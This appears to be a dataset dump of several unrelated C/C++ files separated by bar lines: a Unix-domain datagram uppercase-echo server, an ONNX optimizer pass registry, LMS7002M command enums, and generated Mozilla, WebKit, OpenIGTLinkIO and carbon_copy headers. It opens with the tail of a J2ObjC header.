FOUNDATION_EXPORT ComGoogleCommonUtilConcurrentThreadFactoryBuilder *create_ComGoogleCommonUtilConcurrentThreadFactoryBuilder_init();
J2OBJC_TYPE_LITERAL_HEADER(ComGoogleCommonUtilConcurrentThreadFactoryBuilder)
#endif
#if __has_feature(nullability)
#pragma clang diagnostic pop
#endif
#pragma pop_macro("INCLUDE_ALL_ComGoogleCommonUtilConcurrentThreadFactoryBuilder")
|
/*
* File:
* Author: ezio
*
* Created on 2016年2月25日, 下午9:14
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <ctype.h>
#include <sys/un.h>
#include <sys/socket.h>
#define SV_SOCK_PATH "/tmp/us_xfr"
#define BUF_SIZE 10
#define BACKLOG 5
int main(void)
{
struct sockaddr_un svaddr,claddr;
int sfd,j;
ssize_t numRead;
socklen_t len;
char buf[BUF_SIZE];
sfd = socket(AF_UNIX , SOCK_DGRAM, 0);
if (sfd == -1)
exit(-1);
if(unlink(SV_SOCK_PATH) == -1 && errno != ENOENT)
exit(-2);
memset(&svaddr, 0, sizeof(struct sockaddr_un));
svaddr.sun_family = AF_UNIX;
strncpy(svaddr.sun_path, SV_SOCK_PATH, sizeof(svaddr.sun_path) -1 );
if(bind(sfd, (struct sockaddr *)&svaddr, sizeof(struct sockaddr_un))== -1)
exit(-3);
for(;;) {
len = sizeof(struct sockaddr_un);
numRead = recvfrom(sfd, buf, BUF_SIZE, 0, (struct sockaddr *)&claddr, &len);
if(numRead == -1)
exit(-4);
printf("server recved %ld bytes from %s\n",(long) numRead, claddr.sun_path);
for(j = 0; j<numRead; j++)
buf[j] = toupper((unsigned char )buf[j]);
if (sendto(sfd, buf, numRead, 0, (struct sockaddr *)&claddr, len) != numRead)
perror("sendto ");
}
return 0;
}
|
// ATTENTION: The code in this file is highly EXPERIMENTAL.
// Adventurous users should note that the APIs will probably change.
#pragma once
#include "onnx/common/ir.h"
#include "onnx/common/ir_pb_converter.h"
#include "onnx/common/stl_backports.h"
#include "onnx/optimizer/passes/eliminate_deadend.h"
#include "onnx/optimizer/passes/eliminate_identity.h"
#include "onnx/optimizer/passes/eliminate_nop_dropout.h"
#include "onnx/optimizer/passes/eliminate_nop_monotone_argmax.h"
#include "onnx/optimizer/passes/eliminate_nop_pad.h"
#include "onnx/optimizer/passes/eliminate_nop_transpose.h"
#include "onnx/optimizer/passes/eliminate_unused_initializer.h"
#include "onnx/optimizer/passes/extract_constant_to_initializer.h"
#include "onnx/optimizer/passes/fuse_add_bias_into_conv.h"
#include "onnx/optimizer/passes/fuse_bn_into_conv.h"
#include "onnx/optimizer/passes/fuse_consecutive_concats.h"
#include "onnx/optimizer/passes/fuse_consecutive_log_softmax.h"
#include "onnx/optimizer/passes/fuse_consecutive_reduce_unsqueeze.h"
#include "onnx/optimizer/passes/fuse_consecutive_squeezes.h"
#include "onnx/optimizer/passes/fuse_consecutive_transposes.h"
#include "onnx/optimizer/passes/fuse_matmul_add_bias_into_gemm.h"
#include "onnx/optimizer/passes/fuse_pad_into_conv.h"
#include "onnx/optimizer/passes/fuse_transpose_into_gemm.h"
#include "onnx/optimizer/passes/lift_lexical_references.h"
#include "onnx/optimizer/passes/nop.h"
#include "onnx/optimizer/passes/split.h"
#include "onnx/proto_utils.h"
#include <unordered_set>
#include <vector>
namespace ONNX_NAMESPACE {
namespace optimization {
// Registry containing all passes available in ONNX.
struct GlobalPassRegistry {
std::map<std::string, std::shared_ptr<Pass>> passes;
GlobalPassRegistry() {
// Register the optimization passes to the optimizer.
registerPass<NopEmptyPass>();
registerPass<EliminateDeadEnd>();
registerPass<EliminateNopDropout>();
registerPass<EliminateIdentity>();
registerPass<EliminateNopMonotoneArgmax>();
registerPass<EliminateNopPad>();
registerPass<EliminateNopTranspose>();
registerPass<EliminateUnusedInitializer>();
registerPass<ExtractConstantToInitializer>();
registerPass<FuseAddBiasIntoConv>();
registerPass<FuseBNIntoConv>();
registerPass<FuseConsecutiveConcats>();
registerPass<FuseConsecutiveLogSoftmax>();
registerPass<FuseConsecutiveReduceUnsqueeze>();
registerPass<FuseConsecutiveSqueezes>();
registerPass<FuseConsecutiveTransposes>();
registerPass<FuseMatMulAddBiasIntoGemm>();
registerPass<FusePadIntoConv>();
registerPass<FuseTransposeIntoGemm>();
registerPass<LiftLexicalReferences>();
registerPass<SplitInit>();
registerPass<SplitPredict>();
}
~GlobalPassRegistry() {
this->passes.clear();
}
std::shared_ptr<Pass> find(std::string pass_name) {
auto it = this->passes.find(pass_name);
ONNX_ASSERTM(
it != this->passes.end(), "pass %s is unknown.", pass_name.c_str());
return it->second;
}
const std::vector<std::string> GetAvailablePasses();
template <typename T>
void registerPass() {
static_assert(std::is_base_of<Pass, T>::value, "T must inherit from Pass");
std::shared_ptr<Pass> pass(new T());
passes[pass->getPassName()] = pass;
}
};
} // namespace optimization
} // namespace ONNX_NAMESPACE
|
#ifndef LMS7002M_COMMANDS_H
#define LMS7002M_COMMANDS_H
const int LMS_RST_PULSE = 2;
enum eCMD_LMS
{
CMD_GET_INFO = 0x00,
///Writes data to SI5356 synthesizer via I2C
CMD_SI5356_WR = 0x11,
///Reads data from SI5356 synthesizer via I2C
CMD_SI5356_RD = 0x12,
///Writes data to SI5351 synthesizer via I2C
CMD_SI5351_WR = 0x13,
///Reads data from SI5351 synthesizer via I2C
CMD_SI5351_RD = 0x14,
///Sets new LMS7002M chips RESET pin level (0, 1, pulse)
CMD_LMS7002_RST = 0x20,
///Writes data to LMS7002M chip via SPI
CMD_LMS7002_WR = 0x21,
///Reads data from LMS7002M chip via SPI
CMD_LMS7002_RD = 0x22,
///
CMD_PROG_MCU = 0x2A,
///Writes data to ADF4002 chip via SPI
CMD_ADF4002_WR = 0x31,
CMD_LMS6002_WR = 0x23,
CMD_LMS6002_RD = 0x24,
CMD_PE636040_WR = 0x41,
CMD_PE636040_RD = 0x42,
CMD_MYRIAD_GPIO_WR = 0x51,
CMD_MYRIAD_GPIO_RD = 0x52
};
enum eCMD_STATUS
{
STATUS_UNDEFINED,
STATUS_COMPLETED_CMD,
STATUS_UNKNOWN_CMD,
STATUS_BUSY_CMD,
STATUS_MANY_BLOCKS_CMD,
STATUS_ERROR_CMD
};
#endif // LMS7002M_COMMANDS_H
|
/*
* DO NOT EDIT. THIS FILE IS GENERATED FROM e:/builds/moz2_slave/rel-2.0-xr-w32-bld/build/dom/interfaces/html/nsIDOMHTMLMapElement.idl
*/
#ifndef __gen_nsIDOMHTMLMapElement_h__
#define __gen_nsIDOMHTMLMapElement_h__
#ifndef __gen_nsIDOMHTMLElement_h__
#include "nsIDOMHTMLElement.h"
#endif
/* For IDL files that don't want to include root IDL files. */
#ifndef NS_NO_VTABLE
#define NS_NO_VTABLE
#endif
/* starting interface: nsIDOMHTMLMapElement */
#define NS_IDOMHTMLMAPELEMENT_IID_STR "a6cf90af-15b3-11d2-932e-00805f8add32"
#define NS_IDOMHTMLMAPELEMENT_IID \
{0xa6cf90af, 0x15b3, 0x11d2, \
{ 0x93, 0x2e, 0x00, 0x80, 0x5f, 0x8a, 0xdd, 0x32 }}
/**
* The nsIDOMHTMLMapElement interface is the interface to a [X]HTML
* map element.
*
* This interface is trying to follow the DOM Level 2 HTML specification:
* http://www.w3.org/TR/DOM-Level-2-HTML/
*
* with changes from the work-in-progress WHATWG HTML specification:
* http://www.whatwg.org/specs/web-apps/current-work/
*/
class NS_NO_VTABLE NS_SCRIPTABLE nsIDOMHTMLMapElement : public nsIDOMHTMLElement {
public:
NS_DECLARE_STATIC_IID_ACCESSOR(NS_IDOMHTMLMAPELEMENT_IID)
/* readonly attribute nsIDOMHTMLCollection areas; */
NS_SCRIPTABLE NS_IMETHOD GetAreas(nsIDOMHTMLCollection **aAreas) = 0;
/* attribute DOMString name; */
NS_SCRIPTABLE NS_IMETHOD GetName(nsAString & aName) = 0;
NS_SCRIPTABLE NS_IMETHOD SetName(const nsAString & aName) = 0;
};
NS_DEFINE_STATIC_IID_ACCESSOR(nsIDOMHTMLMapElement, NS_IDOMHTMLMAPELEMENT_IID)
/* Use this macro when declaring classes that implement this interface. */
#define NS_DECL_NSIDOMHTMLMAPELEMENT \
NS_SCRIPTABLE NS_IMETHOD GetAreas(nsIDOMHTMLCollection **aAreas); \
NS_SCRIPTABLE NS_IMETHOD GetName(nsAString & aName); \
NS_SCRIPTABLE NS_IMETHOD SetName(const nsAString & aName);
/* Use this macro to declare functions that forward the behavior of this interface to another object. */
#define NS_FORWARD_NSIDOMHTMLMAPELEMENT(_to) \
NS_SCRIPTABLE NS_IMETHOD GetAreas(nsIDOMHTMLCollection **aAreas) { return _to GetAreas(aAreas); } \
NS_SCRIPTABLE NS_IMETHOD GetName(nsAString & aName) { return _to GetName(aName); } \
NS_SCRIPTABLE NS_IMETHOD SetName(const nsAString & aName) { return _to SetName(aName); }
/* Use this macro to declare functions that forward the behavior of this interface to another object in a safe way. */
#define NS_FORWARD_SAFE_NSIDOMHTMLMAPELEMENT(_to) \
NS_SCRIPTABLE NS_IMETHOD GetAreas(nsIDOMHTMLCollection **aAreas) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetAreas(aAreas); } \
NS_SCRIPTABLE NS_IMETHOD GetName(nsAString & aName) { return !_to ? NS_ERROR_NULL_POINTER : _to->GetName(aName); } \
NS_SCRIPTABLE NS_IMETHOD SetName(const nsAString & aName) { return !_to ? NS_ERROR_NULL_POINTER : _to->SetName(aName); }
#if 0
/* Use the code below as a template for the implementation class for this interface. */
/* Header file */
class nsDOMHTMLMapElement : public nsIDOMHTMLMapElement
{
public:
NS_DECL_ISUPPORTS
NS_DECL_NSIDOMHTMLMAPELEMENT
nsDOMHTMLMapElement();
private:
~nsDOMHTMLMapElement();
protected:
/* additional members */
};
/* Implementation file */
NS_IMPL_ISUPPORTS1(nsDOMHTMLMapElement, nsIDOMHTMLMapElement)
nsDOMHTMLMapElement::nsDOMHTMLMapElement()
{
/* member initializers and constructor code */
}
nsDOMHTMLMapElement::~nsDOMHTMLMapElement()
{
/* destructor code */
}
/* readonly attribute nsIDOMHTMLCollection areas; */
NS_IMETHODIMP nsDOMHTMLMapElement::GetAreas(nsIDOMHTMLCollection **aAreas)
{
return NS_ERROR_NOT_IMPLEMENTED;
}
/* attribute DOMString name; */
NS_IMETHODIMP nsDOMHTMLMapElement::GetName(nsAString & aName)
{
return NS_ERROR_NOT_IMPLEMENTED;
}
NS_IMETHODIMP nsDOMHTMLMapElement::SetName(const nsAString & aName)
{
return NS_ERROR_NOT_IMPLEMENTED;
}
/* End of implementation class template. */
#endif
#endif /* __gen_nsIDOMHTMLMapElement_h__ */
|
/*
* Copyright (C) 2006, 2007 Apple Inc. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY APPLE COMPUTER, INC. ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
* PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE COMPUTER, INC. OR
* CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY
* OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef FocusController_h
#define FocusController_h
#include "core/page/FocusDirection.h"
#include "core/platform/graphics/LayoutRect.h"
#include "wtf/Forward.h"
#include "wtf/Noncopyable.h"
#include "wtf/RefPtr.h"
namespace WebCore {
struct FocusCandidate;
class Document;
class Element;
class Frame;
class HTMLFrameOwnerElement;
class IntRect;
class KeyboardEvent;
class Node;
class Page;
class TreeScope;
class FocusNavigationScope {
public:
Node* rootNode() const;
Element* owner() const;
static FocusNavigationScope focusNavigationScopeOf(Node*);
static FocusNavigationScope focusNavigationScopeOwnedByShadowHost(Node*);
static FocusNavigationScope focusNavigationScopeOwnedByIFrame(HTMLFrameOwnerElement*);
private:
explicit FocusNavigationScope(TreeScope*);
TreeScope* m_rootTreeScope;
};
class FocusController {
WTF_MAKE_NONCOPYABLE(FocusController); WTF_MAKE_FAST_ALLOCATED;
public:
static PassOwnPtr<FocusController> create(Page*);
void setFocusedFrame(PassRefPtr<Frame>);
Frame* focusedFrame() const { return m_focusedFrame.get(); }
Frame* focusedOrMainFrame() const;
bool setInitialFocus(FocusDirection);
bool advanceFocus(FocusDirection direction) { return advanceFocus(direction, false); }
bool setFocusedElement(Element*, PassRefPtr<Frame>, FocusDirection = FocusDirectionNone);
void setActive(bool);
bool isActive() const { return m_isActive; }
void setFocused(bool);
bool isFocused() const { return m_isFocused; }
void setContainingWindowIsVisible(bool);
bool containingWindowIsVisible() const { return m_containingWindowIsVisible; }
private:
explicit FocusController(Page*);
bool advanceFocus(FocusDirection, bool initialFocus);
bool advanceFocusDirectionally(FocusDirection);
bool advanceFocusInDocumentOrder(FocusDirection, bool initialFocus);
Node* findFocusableNodeAcrossFocusScope(FocusDirection, FocusNavigationScope startScope, Node* start);
Node* findFocusableNodeRecursively(FocusDirection, FocusNavigationScope, Node* start);
Node* findFocusableNodeDecendingDownIntoFrameDocument(FocusDirection, Node*);
// Searches through the given tree scope, starting from start node, for the next/previous selectable element that comes after/before start node.
// The order followed is as specified in section 17.11.1 of the HTML4 spec, which is elements with tab indexes
// first (from lowest to highest), and then elements without tab indexes (in document order).
//
// @param start The node from which to start searching. The node after this will be focused. May be null.
//
// @return The focus node that comes after/before start node.
//
// See http://www.w3.org/TR/html4/interact/forms.html#h-17.11.1
inline Node* findFocusableNode(FocusDirection, FocusNavigationScope, Node* start);
Node* nextFocusableNode(FocusNavigationScope, Node* start);
Node* previousFocusableNode(FocusNavigationScope, Node* start);
Node* findNodeWithExactTabIndex(Node* start, int tabIndex, FocusDirection);
bool advanceFocusDirectionallyInContainer(Node* container, const LayoutRect& startingRect, FocusDirection);
void findFocusCandidateInContainer(Node* container, const LayoutRect& startingRect, FocusDirection, FocusCandidate& closest);
Page* m_page;
RefPtr<Frame> m_focusedFrame;
bool m_isActive;
bool m_isFocused;
bool m_isChangingFocusedFrame;
bool m_containingWindowIsVisible;
};
} // namespace WebCore
#endif // FocusController_h
|
#ifndef QIGTLIODEVICEWIDGET_H
#define QIGTLIODEVICEWIDGET_H
#include <QWidget>
// igtlio includes
#include "igtlioGUIExport.h"
#include <vtkSmartPointer.h>
#include <vtkObject.h>
#include "qIGTLIOVtkConnectionMacro.h"
typedef vtkSmartPointer<class igtlioDevice> igtlioDevicePointer;
class qIGTLIODeviceWidget;
class OPENIGTLINKIO_GUI_EXPORT vtkIGTLIODeviceWidgetCreator : public vtkObject
{
public:
// Create an instance of the specific device widget, with the given device_id
virtual qIGTLIODeviceWidget* Create() = 0;
// Return the device_type this factory creates device widgets for.
virtual std::string GetDeviceType() const = 0;
vtkAbstractTypeMacro(vtkIGTLIODeviceWidgetCreator,vtkObject);
};
//---------------------------------------------------------------------------
class OPENIGTLINKIO_GUI_EXPORT qIGTLIODeviceWidget : public QWidget
{
Q_OBJECT
IGTLIO_QVTK_OBJECT
public:
qIGTLIODeviceWidget(QWidget* parent=NULL);
virtual void SetDevice(igtlioDevicePointer device);
protected:
igtlioDevicePointer Device;
virtual void setupUi() = 0;
protected slots:
virtual void onDeviceModified() = 0;
};
#endif // QIGTLIODEVICEWIDGET_H
|
/**************************************************************************
* Copyright 2015 John Denholm *
* *
* Licensed under the Apache License, Version 2.0 (the "License"); *
* you may not use this file except in compliance with the License. *
* You may obtain a copy of the License at *
* *
* http://www.apache.org/licenses/LICENSE-2.0 *
* *
* Unless required by applicable law or agreed to in writing, software *
* distributed under the License is distributed on an "AS IS" BASIS, *
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.*
* See the License for the specific language governing permissions and *
* limitations under the License. *
* *
* *
* selfstats.h - defines self reporting functions *
* *
* Updates: *
**************************************************************************/
#ifndef CARBON_COPY_SELFSTATS_H
#define CARBON_COPY_SELFSTATS_H
#define DEFAULT_SELF_PREFIX "self.carbon_copy."
#define DEFAULT_SELF_INTERVAL 10
enum self_timestamp_type
{
SELF_TSTYPE_SEC = 0,
SELF_TSTYPE_MSEC,
SELF_TSTYPE_USEC,
SELF_TSTYPE_NSEC,
SELF_TSTYPE_NONE,
SELF_TSTYPE_MAX
};
extern const char *self_ts_types[SELF_TSTYPE_MAX];
struct selfstats_control
{
HOST * host;
BUF * buf;
char * prefix;
char * ts;
int64_t intv;
int64_t tsdiv;
int tstype;
int enabled;
int tslen;
uint32_t prlen;
};
loop_call_fn self_stats_pass;
throw_fn self_stats_loop;
void self_stats_init( void );
SST_CTL *self_stats_config_defaults( void );
conf_line_fn self_stats_config_line;
#endif
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.